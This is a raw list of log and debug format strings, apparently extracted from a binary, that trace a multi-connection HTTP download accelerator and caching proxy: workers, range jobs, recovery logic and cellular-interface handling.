[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error writing the Data.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - %d bytes from the data written.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - The data size is %d/%d bytes.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning Worker has no data to send.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is in DATA state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker has %d data bytes in the buffer to send

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is switching to DATA state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - *** Finished sending the Request header ***.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Wroker is switching to DATA state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error writing the Header.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - %d bytes from the Header written.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning Worker was stopped (in HEADER state)

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - The header size is %d/%d bytes.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error The header is not valid - switch to PassThrough mode!

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning The header is not complete

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is in HEADER state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - NO PassThrough mode

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - IN PassThrough mode

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error: JobInfo is NULL.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Going to analyze %d bytes.

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): After writing %d bytes into upper level

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Going to write the %d bytes into the upper level

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Read %d bytes from socket %d

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): ___Error: Reading from socket %d

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Reading from socket %d

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[HttpProxyLocal - %p] FDM=%d (%d).

C:\Temp\Socket_%d_%lld_%d.bin

C:\Temp\Socket_%d.bin

[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Worker was STOPPED.

[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Setting the cache writer as finished.

[HttpProxyWorker::Stop] FDM=%d (%d) - The socket object was deleted.

[HttpProxyWorker::Stop] FDM=%d (%d) - Going to delete the socket object.

[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Going to stop the worker.

[HttpProxyWorker::Stop] FDM=%d (%d)

[HttpProxyWorker::ErrorOnJob] FDM=%d (%d)

[HttpProxyWorker::Write] FDM=%d (%d),Req:%d - After writing %d/%d bytes to socket %d.

[HttpProxyWorker::Write] FDM=%d (%d),Req:%d - Before writing %d bytes to socket %d.

HttpProxyWorker::Write

[RtmpProxyWorker::Write] FDM=%d (%d),Req:%d ___Warning No bytes to write

[HttpProxyWorker::Write] FDM=%d (%d),Req:%d ___Error is not ready

[HttpProxyWorker::OnCloseEvent] FDM=%d (%d),Req:%d - Socket %d was closed.

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d ___Error initializing socket

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d *** socket %d was Initialized ***.

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d ___Error Binding to cellular interface - set to default interface

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d - Binded to Cellular Interface.

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d *** new socket ***

HttpProxyWorker::InitializeSocket

[HttpProxyWorker::Initialize] FDM=%d (%d): ___Error initializing the worker, Err: %d.

[HttpProxyWorker::Initialize] FDM=%d (%d) was initialized.

HttpProxyWorker::Initialize

[HttpProxyWorker::DumpBufferToLogFile] FDM=%d (%d),Req:%d

[~HttpProxyWorker - %p] FDM=%d (%d).

[HttpProxyWorker - %p] FDM=%d (%d).

[JobInfo::GetPositionField] ___Error: The field %d is not a position field.

[JobInfo::SetPositionField] ___Error: The field %d is not a position field.

[JobInfo::SetPositionField] Job:%d - RANGE_CONTENT_LENGTH - %lld

[JobInfo::SetPositionField] Job:%d - TIME_CURRENT_POSITION - %lld

[JobInfo::SetPositionField] Job:%d - TIME_END_POSITION - %lld

[JobInfo::SetPositionField] Job:%d - TIME_START_POSITION - %lld

[JobInfo::SetPositionField] Job:%d - RANGE_END_POSITION - %lld

[JobInfo::SetPositionField] Job:%d - RANGE_START_POSITION - %lld

[JobInfo::GetDownloadStartPosition] Job:%d - %lld

[JobInfo::GetCurrentTimePosition] Job:%d - %lld

[JobInfo::SetDataHeaderBytes] Job:%d has Data Header: %lld bytes to discard

[JobInfo::GetBooleanField] ___Error: The field %d is not a boolean field.

[JobInfo::SetBooleanField] ___Error - The field %d is not a boolean field.

[JobInfo::SetBooleanField] Job:%d - IS_CELLULAR_FLAG - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_DISCARDED - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_UPDATED - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - IS_TIME_ACCELERATION_FLAG - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - IS_ACTIVE_FLAG - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - IS_MASTER_FLAG - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - RANGE_DOWNLOAD - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_SHORTEN - (%d --> %d)

[JobInfo::GetCounter] ___Error: The field %d is not a counter field.

[JobInfo::SetCounter] ___Error: The field %d is not a counter field.

[JobInfo::Reset] Job:%d

[JobInfo::GetBytesLeftToDownloaded] Job:%d - Has no more bytes to download. (state:%d)

[JobInfo::GetBytesLeftToDownloaded] Job:%d - Left %lld bytes

[JobInfo::GetTimeLeftToDownload] Job:%d - has no more time to download. (state:%d)

[JobInfo::GetTimeLeftToDownload] Job:%d - has no more time to download.

[JobInfo::SetDownloadInactivityTimeout] Job:%d (state:%d) - InactivityMaxSeconds = %d

[JobInfo::IsAlive] ___Error Job:%d - did not download for a lot of time!

[JobInfo::CanBeRecovered] Job:%d - %d/%d

[JobInfo::GetTimeToRecovery] Job:%d - Time since last recovery: %d > %d

[JobInfo::GetTimeToRecovery] Job:%d - Time till next recovery: %d < %d

[JobInfo::GetTimeToRecovery] Job:%d - No time between recoveries

[JobInfo::SetTimeBetweenRecoveries] Job:%d - Time between recoveries: %d

[JobInfo::SetValidationBytes] Job:%d - Bytes: %d

[JobInfo::SetValidationBytes] ___Warning Job:%d - not enough bytes: %d < %d

[JobInfo::ValidateConsistency] ___Error Job:%d - Not Downloading the same job's Data after Reconnect!

[JobInfo::ValidateConsistency] Job:%d - *** Match OK ***

[JobInfo::DecrementDataHeaderBytes] Job:%d decremented Data Header: %lld bytes and has more: %lld bytes to discard

[JobInfo::DecrementBytesToDiscard] Job:%d decremented %lld bytes and has more %lld bytes to discard

[JobInfo::SetState] Job:%d, State: %d, Force: %d

[JobInfo::ResetState] Job:%d

[JobInfo::IncrementCounter] ___Error: The field %d is not a counter field.

[JobInfo::UpdateJobState] Job:%d - wrote all the data to the client. (state:%d)

[JobInfo::UpdateJobState] Job:%d - has no more bytes to download. (state:%d)

[JobInfo::SetRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).

[JobInfo::UpdateRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).

[JobInfo::UpdateTimeRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).

[JobInfo::IncrementDataHeaderBytes] Job:%d incremented Date Header: %lld bytes and has more: %lld bytes to discard

[JobInfo::SetBytesToDiscard] Job:%d has %lld bytes to discard

[JobInfo::IncrementBytesToDiscard] Job:%d incremented %lld bytes and has more %lld bytes to discard

[JobInfo::ValidateContinuousness] ___Error Job:%d with Job:%d (Bytes: %d) - Continues jobs does not match!

[JobInfo::ValidateContinuousness] Job:%d with Job:%d (Bytes: %d) - *** Match OK ***

[JobInfo::ValidateContinuousness] ___Warning Job:%d - Next job has no validation bytes

[JobInfo::ValidateContinuousness] ___Warning Job:%d - No next job to compare

[JobInfo] Job:%d

[JobInfo] Job:%d (%lld-%lld).

[~JobInfo] Job:%d (%lld-%lld).

************ End: d:d:d::d

************ Start: d:d:d::d

[JobInfo::RegisterToChangeManaer] FDM=%d, Job:%d

[JobInfo::RegisterToChangeManaer] ___Error FDM=%d, Job:%d - RegisterOnChanges

pIHttpProxyServer

[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can't be stopped. NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d

[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can be stopped.

[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can't be stopped. cmState is %d.

[FileDownloadMgr::StopDownload] FDM=%d, Stopping...

[FileDownloadMgr::StopDownload] FDM=%d - Allow to complete prefetching...

[FileDownloadMgr::StopDownload] FDM=%d

[FileDownloadMgr::CreateCacheWriter] FDM=%d ___Error creating Cache Writer.

[FileDownloadMgr::StopAcceleration] **** FDM=%d - Going to stop the acceleration ****.

[FileDownloadMgr::StopAcceleration] FDM=%d

[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d --- After calling to OnStopAcceleration() ---.

[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d --- Before calling to OnStopAcceleration() ---.

[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d

[FileDownloadMgr::ReportOnDataEvent] FDM=%d --- After calling to OnData() ---.

[FileDownloadMgr::ReportOnDataEvent] FDM=%d --- Before calling to OnData() ---.

[FileDownloadMgr::ReportOnStopEvent] FDM=%d --- After calling to OnStop() ---.

[FileDownloadMgr::ReportOnStopEvent] FDM=%d --- Before calling to OnStop() ---.

[FileDownloadMgr::ReportOnStartBadAcceleration] FDM=%d --- After calling to OnStartBadAcceleration() ---.

[FileDownloadMgr::ReportOnStartBadAcceleration] FDM=%d --- Before calling to OnStartBadAcceleration() ---.

[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- Already reported (SEEK) ---

[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- After calling to OnStartBadAcceleration() ---.

[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- Before calling to OnStartBadAcceleration() ---.

[FileDownloadMgr::ReportOnTrialExpiredAcceleration] FDM=%d --- After calling to ReportOnTrialExpiredAcceleration() ---.

[FileDownloadMgr::ReportOnTrialExpiredAcceleration] FDM=%d --- Before calling to ReportOnTrialExpiredAcceleration() ---.

[FileDownloadMgr::AbortAcceleration] FDM=%d

[FileDownloadMgr::IsDownloadComplete] FDM=%d *** Download Completed *** (%lld >= %lld)

[FileDownloadMgr::SetDownloadSize] FDM=%d - Download size: %lld (%lld), bForce: %d

[FileDownloadMgr::OnInterfaceUp] FDM=%d - *** Abort Acceleration ***

[FileDownloadMgr::OnInterfaceDown] FDM=%d - ip: %d, name: %s, 3G: %d

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d ### Stopping the FDM - Master was closed without HTTP header

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - ### Master Remote Connection was closed

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - Master Remote completed

[FileDownloadMgr::OnRequestComplete] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d (3G: %d)

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d) - %d Requests are pending...

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - *** FINISHED *** (%d/%d)

[FileDownloadMgr::OnWorkerConnectionReady] FDM=%d (%d),Req:%d (3G: %d)

[FileDownloadMgr::ResumeCaching] FDM=%d - Resuming...

[FileDownloadMgr::ResumeCaching] FDM=%d

[FileDownloadMgr::RestartWorkerToRedirectDomain] FDM=%d (%d),Req:%d ___Error - ReStartCurrentJob to: %s

pHttpProxyRemote

[FileDownloadMgr::AddDomainToRedirectList] FDM=%d ___Error SetRedirectFilter

[FileDownloadMgr::AddDomainToRedirectList] FDM=%d ___Error IRedirectController invalid

[FileDownloadMgr::AddDomainToRedirectList] FDM=%d - Domain: %s, Port: %d

[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d

[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - Range size == Master size

[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - pJobInfo == NULL

[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - m_n64MasterWorkerContentLength <= 0

[FileDownloadMgr::ReportOnStartAcceleration] FDM=%d --- After calling to OnStartAcceleration() ---.

[FileDownloadMgr::ReportOnStartAcceleration] FDM=%d --- Before calling to OnStartAcceleration() ---.

[FileDownloadMgr::NotifyOnStop] FDM=%d - Going to stop the Local peer (%d)

[FileDownloadMgr::NotifyOnStop] FDM=%d

[FileDownloadMgr::IsToCloseLocal] FDM=%d - ### Close the FDM ### (Transparent Mode)

[FileDownloadMgr::IsToCloseLocal] FDM=%d - Transparent Mode - Master was not closed - wait for new requests...

[FileDownloadMgr::IsToCloseLocal] FDM=%d - ### Close the FDM ### (Proxy Mode)

[FileDownloadMgr::IsToCloseLocal] FDM=%d - Proxy Mode - Do not close the Local Worker yet - wait for new requests...

[FileDownloadMgr::FindWorkerByJob] FDM=%d ___Error worker not found for job %d.

[FileDownloadMgr::GetCacheData] FDM=%d *** Create New Cache Data *** Url: %s

[FileDownloadMgr::GetCacheData] FDM=%d *** Use existing Cache Data CD:%d ***

[FileDownloadMgr::GetCacheData] FDM=%d - Download - no caching needed

[FileDownloadMgr::GetCacheData] FDM=%d ___Error invalid IHttpCacheManager

[FileDownloadMgr::GetCacheData] FDM=%d ___Error invalid url

[FileDownloadMgr::GetCacheData] FDM=%d

[FileDownloadMgr::UpdateWorkersRanges] FDM=%d ___Warning *** Master worker passed all ranges. ***

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - The end position of worker (%d) updated to %lld.

[FileDownloadMgr::UpdateWorkersRanges] FDM=%d ___Error: The function FindWorkerByJob failed.

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - There are %lld bytes left to discard.

[FileDownloadMgr::UpdateWorkersRanges] FDM=%d (Iter: %d), Range: %lld-%lld, Overlapped and Closed due to (job: %d)

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d ___Error update worker (%d). Must discard %lld bytes.

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - All the workers must discard %lld bytes.

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - The end position of the first worker (%d) was updated to %lld.

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d First worker end position: %lld

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - Worker (%d) downloaded %lld data bytes

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - Going update the workers ranges.

[FileDownloadMgr::AddRequestToQueue] FDM=%d - Req:%d was added. Pending requests: %d

[FileDownloadMgr::GetRequestFromQueue] FDM=%d - Req:%d was removed. Pending requests: %d

[FileDownloadMgr::GetRequestFromQueue] FDM=%d - No more pending requests.

[FileDownloadMgr::GetRequestFromQueue] FDM=%d

[FileDownloadMgr::ReturnRequestToQueue] FDM=%d - Req:%d was returned. Pending requests: %d

[FileDownloadMgr::ReturnRequestToQueue] FDM=%d

[FileDownloadMgr::AddWorkerToList] FDM=%d There are %d workers

[HttpFileDownloadMgr::FindMasterWorker] FDM=%d ___Warning Master Worker not found !

[FileDownloadMgr::GetMasterWorker] FDM=%d (%d) The Master worker status is %s.

[FileDownloadMgr::Reset] FDM=%d - Jobs: %d, Workers: %d

[FileDownloadMgr::ReportNoAccelerationReason] FDM=%d ,%s

WARNING: Master passed all workers

WARNING: HD Acceleration not supported

ERROR: Dailymotion seek not supported

WARNING: Server in non support range servers list

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Job: %d), Range: %lld-%lld

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range : %lld-%lld, Overlapped and closed due to (job: %d)

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld, Overlapped: %lld

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld, Discard: %lld

[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Start Acceleration *** (>%dKB, %dms)

[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Stopping Acceleration *** (delay)

[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Start Acceleration *** (delay)

[FileDownloadMgr::OnInterfaceUp] FDM=%d - *** Start 3G Acceleration ***

[FileDownloadMgr::OnInterfaceUp] FDM=%d - ip: %d, name: %s, 3G: %d

[ACCELINFO::OnDeserialize] ___Error get URL

[FileDownloadMgr::AddRequest] FDM=%d

[FileDownloadMgr::AddDataToRequest] FDM=%d ___Warning Not adding data to Request, continue accumulating...

[FileDownloadMgr::AddDataToRequest] FDM=%d - Wrote all %d bytes to Remote worker

[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Remote, that were left from Write to Remote worker

[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d ___Error Appending %d bytes to Request

[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Remote, since request has already data

[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Queue

[FileDownloadMgr::CreateWorker] FDM=%d (%d) was created.

[FileDownloadMgr::CreateWorker] FDM=%d (%d) ___Error Initializing the worker.

[FileDownloadMgr::RemoveWorkerFromList] FDM=%d There are %d workers

[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d - All workers where deleted.

[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d: There are %d workers.

[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d: There are no workers.

[FileDownloadMgr::DeleteAllRemoteProxiesButMaster] FDM=%d: There are %d workers.

[FileDownloadMgr::DeleteAllRemoteProxiesButMaster] FDM=%d: There are no workers.

[FileDownloadMgr::SetThreadCommand] FDM=%d - Setting the command %s (%d commands are waiting)

[FileDownloadMgr::UpdateConsistencyFailureReason] FDM=%d

[FileDownloadMgr::GetThreadCommand] FDM=%d - Getting the command %s (%d commands are waiting)

************ URL: %.800s ************

************ End: d:d:d::d ************

************ Start: d:d:d::d ************

[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d --- After calling to OnStopAcceleration() ---.

[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d --- Before calling to OnStopAcceleration() ---.

[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All connections where closed.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Closing all connections.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All jobs in the cache manager where removed.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Remove all jobs in the cache manager.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - The cache manager was stopped.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Stopping the cache manager.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All the workers where deleted.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Deleting all the workers.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Exit Command was set.

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d - There are %d workers left (NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d)

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d - There are %d workers (NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d)

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d (Forward)

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d, Job:%d (Reverse)

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d

[FileDownloadMgr::OnWorkerConnectionClosed] FDM=%d (%d),Req:%d (3G: %d)

[FileDownloadMgr::OnWorkerConnectionEstablished] FDM=%d (%d),Req:%d (3G: %d)

[FileDownloadMgr::Stop] FDM=%d - All connections where closed.

[FileDownloadMgr::Stop] FDM=%d - Closing all connections.

[FileDownloadMgr::Stop] FDM=%d - All jobs in the cache manager where removed.

[FileDownloadMgr::Stop] FDM=%d - Remove all jobs in the cache manager.

[FileDownloadMgr::Stop] FDM=%d - The cache manager was reset.

[FileDownloadMgr::Stop] FDM=%d - Reset the cache manager.

[FileDownloadMgr::Stop] FDM=%d - All the workers where deleted.

[FileDownloadMgr::Stop] FDM=%d - Deleting all the workers.

[FileDownloadMgr::Stop] FDM=%d - The working thread was stopped.

[FileDownloadMgr::Stop] FDM=%d Wait for the working thread to exit...

[FileDownloadMgr::Stop] FDM=%d - Stopping the working thread.

[FileDownloadMgr::Stop] FDM=%d - FDM_State: %d

[FileDownloadMgr::OnError] FDM=%d ___Error NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d

[FileDownloadMgr::OnError] FDM=%d (%d),Req:%d ___Error NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d

[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating a new Range job.

[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating Acceleration Data.

[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error setting the request in the job.

[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating a new Time job.

[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function SetBuffer failed.

[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function BuildHeader failed.

[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function SetFieldData failed.

[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function ParseHeader failed.

[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d) %lld-%lld (size: %lld)

[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d), Job:%d - Range was shorten

[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d), Job:%d - Download via Cellular Interface

[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d) - Start Job with Original request

[FileDownloadMgr::InitiateRangeDownload] FDM=%d, ___Error - Create Worker.

[FileDownloadMgr::InitiateRangeDownload] FDM=%d, Range: %lld-%lld, 3G: %d

[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - Starting the job.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d (%d) - Starting Req:%d.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - creating a Worker.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - Getting pICacheWorker.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d, Job:%d *** Going to recover failed download - Range: %lld-%lld ***.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d, ___Error: Job:%d - reached the maximum recoveries.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d (%d) - Stopping worker !!!

[FileDownloadMgr::RecoverFailedDownload] FDM=%d --- No failed downloads to recover ---

[FileDownloadMgr::RecoverFailedDownload] FDM=%d

[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - Acceleration support is not definitive yet

[FileDownloadMgr::HelpSlowWorker] FDM=%d, Job:%d - *** was assisted ***

[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - InitiateRangeDownload

[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - Shorting the slow job range

[FileDownloadMgr::HelpSlowWorker] FDM=%d, Job:%d - BytesUntilBuffering: %lld

[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - JobInfo invalid

[FileDownloadMgr::UpdatePlayRate] FDM=%d - Play Rate: %d, Duration: %d, Header Size: %lld

?[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d - Worker was Redirected !

[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error RestartWorkerToRedirectDomain

[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error AddDomainToRedirectList

[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error UpdateRequest

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d - The Data should be sent.

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error The Data should NOT be sent.

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error Download was complete - closing the worker.

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error *** HD Acceleration NOT Supported ***

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d *** Not accelerating *** Not in Partner process and no UI found at: %s

JsDriver.exe

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d - Accelerating due to Partner.

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error FDM_State: %d.

[FileDownloadMgr::InitiateFirstDownloaders] **** FDM=%d, Initial Ranges: %lld-%lld

[FileDownloadMgr::DownloadNextRange] FDM=%d ___Warning Not allowed - FDM_State: %d, EOF: %d, Connections: %d/%d, Redirection problem: %d, Acceleration problem: %d, DownloadComplete: %d

[FileDownloadMgr::DownloadNextRange] FDM=%d ___Error - getting next range

[FileDownloadMgr::DownloadNextRange] FDM=%d, calling to stop UI notification

[FileDownloadMgr::DownloadNextRange] FDM=%d, 3G: %d

[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d - Master Remote Ranges: %lld-%lld (%lld bytes)

[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d - Time Acceleration, Begin: %lld

[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d Master Remote Ranges

[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d Master Remote Ranges - were already updated

[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d ___Error Range not in Header or URI !

[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d ___Warning Tried to modify a none Master response header

[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d - Master was shorten

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should not be sent.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Stopping the worker.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d *** AccelerateIsSupported = TRUE ***

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error: Stopping this worker only - Range is bigger then master

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error: Stopping this worker only - Acceleration is not supported according to response.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Worker Redirection failed - continue without redirection.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Worker Request should be redirected

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Stopping the worker - Acceleration was stopped.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Warning Seek Acceleration not supported according to its rule

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d *** ShouldAccelerate = TRUE ***

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should be sent.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should be sent (redirect)

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error adding the domain %s to the redirect list.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error updating the master response header.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Master Redirection failed - continue without redirection.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Master Request should be redirected

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Got Redirect Response

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Worker has no job.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Header was received

[~FileDownloadMgr] FDM=%d - Leave

[~FileDownloadMgr] FDM=%d - Enter

[FileDownloadMgr] FDM=%d

[FileDownloadMgr] FDM=%d, LimitInitialConnections: %d

[FileDownloadMgr] FDM=%d, StartCachingSize: %d

[FileDownloadMgr] FDM=%d ___Error invalid HTTP Configuration

[FileDownloadMgr] FDM=%d ___Error invalid Config

[FileDownloadMgr::DownloadCacheData] FDM=%d - Request added.

[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error adding request FDM=%d, Req:%d (IP:%s, port:%d).

[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error initializing FDM=%d.

[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error new FileDownloadMgr

[FileDownloadMgr::DownloadCacheData] FDM=%d

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Error starting download sequence.

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Download sequence started!

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d (%d),Req:%d - Starting Request...

